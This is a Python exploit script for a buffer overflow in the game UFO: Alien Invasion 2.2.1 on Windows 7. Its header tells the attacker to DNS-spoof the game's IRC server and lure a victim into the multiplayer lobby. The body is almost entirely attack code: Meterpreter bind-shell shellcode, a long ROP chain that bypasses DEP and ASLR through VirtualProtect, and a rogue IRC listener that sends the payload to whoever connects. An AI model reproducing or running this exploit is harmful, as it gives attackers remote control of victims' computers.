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#!/usr/bin/python # # Exploit Title: UFO: Alien Invasion v2.2.1 BoF Exploit (Win7 ASLR and DEP Bypass) # Date: July 5, 2010 # Author: Node # Software Link: http://sourceforge.net/projects/ufoai/files/UFO_AI%202.x/2.2.1/ufoai-2.2.1-win32.exe/download # Version: "UFO: Alien Invasion 2.2.1 x86 Apr 28 2008 Win32 RELEASE" # Tested on: Windows 7 Ultimate x64 ENG # CVE : # Max shellcode size: 328 bytes # Badchars: '\x00\x0a\x0d' # Instructions: 1. DNS spoof/redirect "irc.freenode.org" to your ip # 2- Have your victim click "Multiplayer" and then "Lobby" # # Notes: There is a possibility that this exploit can work on a different # windows version, by just changing the last bytes of 0xffff34ec # to wherever VirtualProtect() resides in that version of kernel32.dll. import sys, socket #msfpayload windows/meterpreter/bind_tcp LPORT=4444 R | msfencode -b '\x00\x0a\x0d' -t c #[*] x86/shikata_ga_nai succeeded with size 326 (iteration=1) shellcode = ("\xbf\xb7\x89\xfe\x0e\xda\xd3\xd9\x74\x24\xf4\x2b\xc9\xb1\x4b" + "\x5e\x83\xc6\x04\x31\x7e\x11\x03\x7e\x11\xe2\x42\x75\x16\x87" + "\xac\x86\xe7\xf8\x25\x63\xd6\x2a\x51\xe7\x4b\xfb\x12\xa5\x67" + "\x70\x76\x5e\xf3\xf4\x5e\x51\xb4\xb3\xb8\x5c\x45\x72\x04\x32" + "\x85\x14\xf8\x49\xda\xf6\xc1\x81\x2f\xf6\x06\xff\xc0\xaa\xdf" + "\x8b\x73\x5b\x54\xc9\x4f\x5a\xba\x45\xef\x24\xbf\x9a\x84\x9e" + "\xbe\xca\x35\x94\x88\xf2\x3e\xf2\x28\x02\x92\xe0\x14\x4d\x9f" + "\xd3\xef\x4c\x49\x2a\x10\x7f\xb5\xe1\x2f\x4f\x38\xfb\x68\x68" + "\xa3\x8e\x82\x8a\x5e\x89\x51\xf0\x84\x1c\x47\x52\x4e\x86\xa3" + "\x62\x83\x51\x20\x68\x68\x15\x6e\x6d\x6f\xfa\x05\x89\xe4\xfd" + "\xc9\x1b\xbe\xd9\xcd\x40\x64\x43\x54\x2d\xcb\x7c\x86\x89\xb4" + "\xd8\xcd\x38\xa0\x5b\x8c\x54\x05\x56\x2e\xa5\x01\xe1\x5d\x97" + "\x8e\x59\xc9\x9b\x47\x44\x0e\xdb\x7d\x30\x80\x22\x7e\x41\x89" + "\xe0\x2a\x11\xa1\xc1\x52\xfa\x31\xed\x86\xad\x61\x41\x79\x0e" + "\xd1\x21\x29\xe6\x3b\xae\x16\x16\x44\x64\x3f\xe6\x61\xd4\x28" + "\x0b\x95\xca\xf4\x82\x73\x86\x14\xc3\x2c\x3f\xd7\x30\xe5\xd8" + "\x28\x13\x5a\x70\xbf\x2b\xb5\x46\xc0\xab\x90\xe4\x6d\x03\x72" + "\x7f\x7e\x90\x63\x80\xab\xb0\xf4\x17\x21\x51\xb7\x86\x36\x78" + "\x2d\x49\xa3\x87\xe7\x1e\x5b\x8a\xde\x69\xc4\x75\x35\xe2\xcd" + "\xe3\xf5\x9d\x31\xe4\xf5\x5d\x64\x6e\xf5\x35\xd0\xca\xa6\x20" + "\x1f\xc7\xdb\xf8\x8a\xe8\x8d\xad\x1d\x81\x33\x8b\x6a\x0e\xcc" + "\xfe\x6a\x72\x1b\xc7\xe8\x82\x2e\x2b\x31\x60") #start rop = "\x5a\xc9\x70\x61" #0x6170C95A : PUSH ESP # POP EBX # POP EBP rop += "A"*4 rop += "\xd6\x14\x6c\x68" #0x686C14D6 : ADD ESP,1C rop += "1111" #VirtualProtect placeholder rop += "2222" #return address placeholder rop += "3333" #lpAddress placeholder rop += "4444" #dwsize placeholder rop += "5555" #flNewProtect placeholder rop += "\x05\xe0\x76\x61" #0x6176e005 lpflOldProtect writable in SDL_mixer.dll rop += "A"*4 rop += "\x45\x57\x10\x68" #0x68105745 : MOV EAX,EBX # POP EBX # POP EBP rop += "A"*8 rop += "\xdd\x5b\x10\x68" #0x68105BDD : MOV EDX,EAX # MOV EAX,EDX rop += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX rop += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX rop += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX rop += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX rop += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX rop += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX rop += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX rop += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX #grabbing kernel32 rop += "\xb8\x51\x58\x67" #0x675851B8 : MOV EAX,200 rop += "\x71\x33\x6c\x68" #0x686C3371 : MOV ECX,EAX # MOV EAX,ECX rop += "\xe3\xf9\x71\x61" #0x6171F9E3 : ADD ECX,ECX rop += "\xe3\xf9\x71\x61" #0x6171F9E3 : ADD ECX,ECX rop += "\x53\x23\x10\x68" #0x68102353 : XOR EAX,EAX rop += "\x50\x49\x58\x67" #0x67584950 : ADD EAX,20 rop += "\x50\x49\x58\x67" #0x67584950 : ADD EAX,20 rop += "\x50\x49\x58\x67" #0x67584950 : ADD EAX,20 rop += "\x50\x49\x58\x67" #0x67584950 : ADD EAX,20 rop += "\x50\x49\x58\x67" #0x67584950 : ADD EAX,20 A0 rop += "\x6b\x8c\x13\x68" #0x68138C6B : XCHG EAX,EBP rop += "\x25\x54\x72\x61" #0x61725425 : ADD ECX,EBP rop += "\x6b\x8c\x13\x68" #0x68138C6B : XCHG EAX,EBP rop += "\x50\x49\x58\x67" #0x67584950 : ADD EAX,20 rop += "\x50\x49\x58\x67" #0x67584950 : ADD EAX,20 rop += "\x50\x49\x58\x67" #0x67584950 : ADD EAX,20 rop += "\x6b\x8c\x13\x68" #0x68138C6B : XCHG EAX,EBP rop += "\x25\x54\x72\x61" #0x61725425 : ADD ECX,EBP 9a0 rop += "\x73\x33\x6c\x68" #0x686C3373 : MOV EAX,ECX rop += "\x6b\x8c\x13\x68" #0x68138C6B : XCHG EAX,EBP rop += "\x28\x51\x58\x67" #0x67585128 : MOV EAX,2 rop += "\x71\x33\x6c\x68" #0x686C3371 : MOV ECX,EAX # MOV EAX,ECX rop += "\xe3\xf9\x71\x61" #0x6171F9E3 : ADD ECX,ECX rop += "\xe3\xf9\x71\x61" #0x6171F9E3 : ADD ECX,ECX rop += "\xe3\xf9\x71\x61" #0x6171F9E3 : ADD ECX,ECX rop += "\x6b\x8c\x13\x68" #0x68138C6B : XCHG EAX,EBP rop += "\x6f\x9f\x58\x67" #0x67589F6F : ADD ECX,EAX # MOVZX EAX,CX rop += "\x9c\x8d\x59\x67" #0x67598D9C : POP ECX rop += "\x05\xe0\x76\x61" #0x6176e005 : writable rop += "\xee\x9b\x71\x61" #0x61719BEE : MOV EBX,EDX # SUB EBX,EAX # MOV EAX,EBX # MOV WORD PTR DS:[ECX+44],AX # ADD ESP,4 # POP EBX # POP EBP rop += "A"*4 rop += "A"*4 rop += "A"*4 rop += "\x67\x01\x11\x68" #0x68110167 : MOV EAX,DWORD PTR DS:[EAX] #VirtualProtect() rop += "\x71\x33\x6c\x68" #0x686C3371 :# MOV ECX,EAX # MOV EAX,ECX rop += "\x5a\xc9\x70\x61" #0x6170C95A :{POP}# PUSH ESP # POP EBX # POP EBP rop += "A"*4 rop += "\x53\x23\x10\x68" #0x68102353 :# XOR EAX,EAX rop += "\x50\x49\x58\x67" #0x67584950 :# ADD EAX,20 rop += "\x50\x49\x58\x67" #0x67584950 :# ADD EAX,20 rop += "\x50\x49\x58\x67" #0x67584950 :# ADD EAX,20 rop += "\x6b\x8c\x13\x68" #0x68138C6B :# XCHG EAX,EBP rop += "\x6a\x1f\x13\x68" #0x68131F6A :# ADD EBP,EBX rop += "\x73\x33\x6c\x68" #0x686C3373 :# MOV EAX,ECX rop += "\x6b\x8c\x13\x68" #0x68138C6B :# XCHG EAX,EBP rop += "\x71\x33\x6c\x68" #0x686C3371 :# MOV ECX,EAX # MOV EAX,ECX rop += "\x6b\x8c\x13\x68" #0x68138C6B :# XCHG EAX,EBP rop += "\xe2\x13\x6c\x68" #0x686C13E2 :# POP EBX rop += "\xec\x34\xff\xff" #VirtualProtect() is found at 0x????34ec, if not, change this to match your windows version rop += "\x42\x35\x80\x70" #0x70803542 :# XOR AL,AL # POP EBP rop += "A"*4 rop += "\x02\x4d\x6d\x68" #0x686D4D02 :# ADD AL,BL rop += "\x6b\x8c\x13\x68" #0x68138C6B :# XCHG EAX,EBP rop += "\x73\x33\x6c\x68" #0x686C3373 :# MOV EAX,ECX rop += "\x6b\x8c\x13\x68" #0x68138C6B :# XCHG EAX,EBP rop += "\x71\x33\x6c\x68" #0x686C3371 :# MOV ECX,EAX # MOV EAX,ECX rop += "\x34\xa5\x70\x61" #0x6170A534 :# MOV CH,BH # ADD AL,BYTE PTR DS:[EAX] # MOV ESP,EBP # POP EBP rop += "A"*4 rop += "A"*4 rop += "A"*4 rop += "A"*4 rop += "\xb9\x4b\x58\x67" #0x67584BB9 : MOV DWORD PTR DS:[EDX],ECX #fetch shellcode rop += "\x5a\xc9\x70\x61" #0x6170C95A :{POP}# PUSH ESP # POP EBX # POP EBP rop += "A"*4 rop += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX rop += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX rop += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX rop += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX rop += "\x45\x57\x10\x68" #0x68105745 :{POP}# MOV EAX,EBX # POP EBX # POP EBP rop += "A"*4 rop += "A"*4 rop += "\x6b\x8c\x13\x68" #0x68138C6B : XCHG EAX,EBP rop += "\x53\x23\x10\x68" #0x68102353 : XOR EAX,EAX rop += "\xe2\x13\x6c\x68" #0x686C13E2 :# POP EBX rop += "\xac\xff\xff\xff" #0xac * 2 = 0x158 rop += "\x02\x4d\x6d\x68" #0x686D4D02 :# ADD AL,BL rop += "\x71\x33\x6c\x68" #0x686C3371 : MOV ECX,EAX # MOV EAX,ECX rop += "\xe3\xf9\x71\x61" #0x6171F9E3 : ADD ECX,ECX rop += "\x73\x33\x6c\x68" #0x686C3373 : MOV EAX,ECX rop += "\x6b\x8c\x13\x68" #0x68138C6B : XCHG EAX,EBP rop += "\x6f\x9f\x58\x67" #0x67589F6F : ADD ECX,EAX # MOVZX EAX,CX shellcode rop += "\xb9\x4b\x58\x67" #0x67584BB9 :# MOV DWORD PTR DS:[EDX],ECX #again rop += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX rop += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX rop += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX rop += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX rop += "\x73\x33\x6c\x68" #0x686C3373 : MOV EAX,ECX rop += "\x26\x51\x58\x67" #0x67585126 : MOV DWORD PTR DS:[EDX],EAX # MOV EAX,2 #set dwsize 0x148 (328) rop += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX rop += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX rop += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX rop += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX rop += "\x53\x23\x10\x68" #0x68102353 : XOR EAX,EAX rop += "\xe2\x13\x6c\x68" #0x686C13E2 :# POP EBX rop += "\xa4\xff\xff\xff" #0xa4 * 2 = 0x148 (328) rop += "\x02\x4d\x6d\x68" #0x686D4D02 :# ADD AL,BL rop += "\x71\x33\x6c\x68" #0x686C3371 : MOV ECX,EAX # MOV EAX,ECX rop += "\xe3\xf9\x71\x61" #0x6171F9E3 : ADD ECX,ECX rop += "\x73\x33\x6c\x68" #0x686C3373 : MOV EAX,ECX rop += "\x26\x51\x58\x67" #0x67585126 : MOV DWORD PTR DS:[EDX],EAX # MOV EAX,2 #forwardjump rop += "\x53\x23\x10\x68" #0x68102353 : XOR EAX,EAX rop += "\xe2\x13\x6c\x68" #0x686C13E2 :# POP EBX rop += "\x70\xff\xff\xff" # 0x70 rop += "\x02\x4d\x6d\x68" #0x686D4D02 :# ADD AL,BL rop += "\x5a\xc9\x70\x61" #0x6170C95A :{POP}# PUSH ESP # POP EBX # POP EBP rop += "A"*4 rop += "\x6b\x8c\x13\x68" #0x68138C6B : XCHG EAX,EBP rop += "\x6a\x1f\x13\x68" #0x68131F6A :# ADD EBP,EBX rop += "\xc6\xcd\x6d\x68" #0x686DCDC6 :# LEAVE rop += "A"*4 #backjump rop2 = "\x5a\xc9\x70\x61" #0x6170C95A :{POP}# PUSH ESP # POP EBX # POP EBP rop2 += "A"*4 rop2 += "\x45\x57\x10\x68" #0x68105745 :{POP}# MOV EAX,EBX # POP EBX # POP EBP rop2 += "A"*4 rop2 += "A"*4 rop2 += "\xdd\x5b\x10\x68" #0x68105BDD : MOV EDX,EAX # MOV EAX,EDX rop2 += "\xb8\x51\x58\x67" #0x675851B8 : MOV EAX,200 rop2 += "\x50\x49\x58\x67" #0x67584950 : ADD EAX,20 rop2 += "\xe2\x13\x6c\x68" #0x686C13E2 :# POP EBX rop2 += "\x0c\xff\xff\xff" # 12 rop2 += "\x02\x4d\x6d\x68" #0x686D4D02 :# ADD AL,BL rop2 += "\x9c\x8d\x59\x67" #0x67598D9C : POP ECX rop2 += "\x05\xe0\x76\x61" #0x6176e005 : writable rop2 += "\xee\x9b\x71\x61" #0x61719BEE : MOV EBX,EDX # SUB EBX,EAX # MOV EAX,EBX # MOV WORD PTR DS:[ECX+44],AX # ADD ESP,4 # POP EBX # POP EBP rop2 += "A"*4 rop2 += "A"*4 rop2 += "A"*4 rop2 += "\x7a\x36\x13\x68" #0x6813367A : XCHG EAX,ESP #set flNewProtect 0x40 (land here) rop2 += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX rop2 += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX rop2 += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX rop2 += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX rop2 += "\x53\x23\x10\x68" #0x68102353 : XOR EAX,EAX rop2 += "\x50\x49\x58\x67" #0x67584950 : ADD EAX,20 rop2 += "\x50\x49\x58\x67" #0x67584950 : ADD EAX,20 rop2 += "\x26\x51\x58\x67" #0x67585126 : MOV DWORD PTR DS:[EDX],EAX # MOV EAX,2 #ending rop2 += "\x71\x33\x6c\x68" #0x686C3371 : MOV ECX,EAX # MOV EAX,ECX rop2 += "\xe3\xf9\x71\x61" #0x6171F9E3 : ADD ECX,ECX rop2 += "\xe3\xf9\x71\x61" #0x6171F9E3 : ADD ECX,ECX rop2 += "\xe3\xf9\x71\x61" #0x6171F9E3 : ADD ECX,ECX rop2 += "\x73\x33\x6c\x68" #0x686C3373 : MOV EAX,ECX rop2 += "\x52\x3d\x13\x68" #0x68133D52 : SUB EDX,EAX # MOV EAX,EDX rop2 += "\x7a\x36\x13\x68" #0x6813367A : XCHG EAX,ESP end = "\x0d\x0a" sploit = "001 :" sploit += rop sploit += "\x90" * (552 - len(rop)) sploit += rop2 sploit += shellcode sploit += end s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('', 6667)) s.listen(1) print ("[*] Listening on port 6667.") print ("[*] Have someone connect to you.") print ("[*] Type <control>-c to exit.") conn, addr = s.accept() print '[*] Received connection from: ', addr conn.send(sploit) conn.close |
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